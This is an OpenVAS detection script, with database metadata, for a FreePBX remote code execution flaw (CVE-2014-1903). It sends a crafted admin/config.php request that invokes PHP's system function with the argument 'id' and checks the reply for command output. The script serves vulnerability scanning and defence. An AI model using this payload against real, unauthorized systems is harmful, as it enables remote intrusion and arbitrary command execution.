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FreePBX 'admin/config.php' Remote Code Execution Vulnerability

2014-03-14T00:00:00
ID OPENVAS:1361412562310103920
Type openvas
Reporter This script is Copyright (C) 2014 Greenbone Networks GmbH
Modified 2018-10-12T00:00:00

Description

FreePBX is prone to a remote code-execution vulnerability.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_freepbx_65509.nasl 11867 2018-10-12 10:48:11Z cfischer $
#
# FreePBX 'admin/config.php' Remote Code Execution Vulnerability
#
# Authors:
# Michael Meyer <michael.meyer@greenbone.net>
#
# Copyright:
# Copyright (c) 2014 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
CPE = "cpe:/a:freepbx:freepbx";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103920");
  script_bugtraq_id(65509);
  script_cve_id("CVE-2014-1903");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_version("$Revision: 11867 $");
  script_name("FreePBX 'admin/config.php' Remote Code Execution Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/65509");
  script_xref(name:"URL", value:"http://freepbx.org");

  script_tag(name:"last_modification", value:"$Date: 2018-10-12 12:48:11 +0200 (Fri, 12 Oct 2018) $");
  script_tag(name:"creation_date", value:"2014-03-14 11:41:40 +0100 (Fri, 14 Mar 2014)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("This script is Copyright (C) 2014 Greenbone Networks GmbH");
  script_dependencies("gb_freepbx_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("freepbx/installed");

  script_tag(name:"impact", value:"Successfully exploiting this issue will allow attackers to execute
arbitrary code in the context of the affected application. Failed
exploit attempts may result in a denial-of-service condition.");
  script_tag(name:"vuldetect", value:"Try to execute a command with a sprecial crafted HTTP GET request.");
  script_tag(name:"insight", value:"admin/libraries/view.functions.php does not restrict
the set of functions accessible to the API handler, which allows
remote attackers to execute arbitrary PHP code via the function and
args parameters to admin/config.php.");
  script_tag(name:"solution", value:"Updates are available.");
  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"summary", value:"FreePBX is prone to a remote code-execution vulnerability.");
  script_tag(name:"affected", value:"FreePBX versions 2.9, 2.10, 2.11, and 12 are vulnerable.");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );
url = dir + '/admin/config.php?display=OpenVAS&handler=api&file=OpenVAS&module=OpenVAS&function=system&args=id';

if( buf = http_vuln_check( port:port, url:url, pattern:'uid=[0-9]+.*gid=[0-9]+' ) )
{
  report = 'By requesting the url "' + url + '"\nscanner received the following response:\n\n' + buf + '\n';

  security_message(port:port, data:report);
  exit( 0 );
}

exit( 99 );
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